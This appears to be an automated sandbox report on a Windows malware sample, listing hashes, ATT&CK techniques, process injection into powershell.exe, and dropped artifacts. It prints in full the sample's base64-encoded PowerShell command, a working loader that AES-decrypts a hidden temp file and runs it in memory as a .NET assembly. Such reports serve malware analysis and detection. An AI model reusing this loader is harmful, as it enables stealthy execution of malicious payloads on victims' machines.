35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e

General

Target

35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e.exe
Size

813KB
MD5

8a35b10f431e16c1a30d5c837df343e5
SHA1

8f52cbf4905d0e1fa88d603cb02785107f6c06b8
SHA256

35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e
SHA512

992392f63e84921ad9aa1cd42a9fe4bd55b305825a54fd9036ae468dacc8e6b11bfcebd8bfea90c02a6d62ec4bc7f3bdebd528b48d33d2f3d3640b533d8ab468
SSDEEP

12288:XHboTxwbed/QIA8Em9D+7m5BXIz1xYCp6IEJ9eHyg6EtF9/wDfbGRS:38TFQBe9QzgC6PcBdT/wzkS

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2240 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2240 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2240 powershell.exe

pid	process
2240	powershell.exe

pid	process
2240	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2240	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e.exe

description	pid	process	target process
PID 2288 wrote to memory of 2240	2288	35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e.exe	powershell.exe
PID 2288 wrote to memory of 2240	2288	35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e.exe	powershell.exe
PID 2288 wrote to memory of 2240	2288	35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e.exe
"C:\Users\Admin\AppData\Local\Temp\35fba4ae966fe12c1b9c5dfdcc5b69c2991a412a0f1e5774118e172dbd40ad6e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADcANAAsACAAMAB4AEYANwAsACAAMAB4ADQAMAAsACAAMAB4ADcARAAsACAAMAB4ADAAOQAsACAAMAB4ADgAMQAsACAAMAB4AEYAOQAsACAAMAB4ADMAOQAsACAAMAB4AEEANwAsACAAMAB4ADQANQAsACAAMAB4ADQANQAsACAAMAB4AEMANwAsACAAMAB4ADEARQAsACAAMAB4AEQANwAsACAAMAB4ADUAQgAsACAAMAB4ADIAOQAsACAAMAB4ADEAMAAsACAAMAB4ADkANQAsACAAMAB4ADgARQAsACAAMAB4AEQARAAsACAAMAB4ADMANAAsACAAMAB4ADMAMQAsACAAMAB4AEUAMQAsACAAMAB4ADUAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAOAAsACAAMAB4ADkARAAsACAAMAB4AEEAQwAsACAAMAB4ADYANQAsACAAMAB4ADMANAAsACAAMAB4ADUANwAsACAAMAB4ADUARAApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABCAEQALAAgADAAeAA3ADYALAAgADAAeABDADMALAAgADAAeAA3ADUALAAgADAAeABDAEIALAAgADAAeABCADYALAAgADAAeABDADYALAAgADAAeABDADMALAAgADAAeAAzAEYALAAgADAAeAA1ADQALAAgADAAeAA3ADUALAAgADAAeAA5ADAALAAgADAAeABGAEYALAAgADAAeABGADIALAAgADAAeAA3AEEALAAgADAAeAA2ADUAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2240

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\file-8973.putik

Filesize
33KB

MD5
f96f779d8a32f1267507548bbb6b74c7

SHA1
117465fa04fff4705be631ad24601e342ad438d7

SHA256
3cadaf1b64535683d6a81a0127db2843414b1117e52bea1192f36b527e15a09e

SHA512
d5c377cc25bd2371932074335854fa8793150bd05fa968bfb5a3101ea11cd888f04509b20e991cf84b88f8dc316b9f49847163fd804a78d30ecb8387ab2bdfc4

Download Submit
memory/2240-5-0x000007FEF648E000-0x000007FEF648F000-memory.dmp

Filesize
4KB

Download
memory/2240-6-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/2240-8-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

Filesize
32KB

Download
memory/2240-9-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-10-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-11-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-7-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-12-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2240-14-0x0000000002960000-0x000000000296C000-memory.dmp

Filesize
48KB

Download
memory/2240-15-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing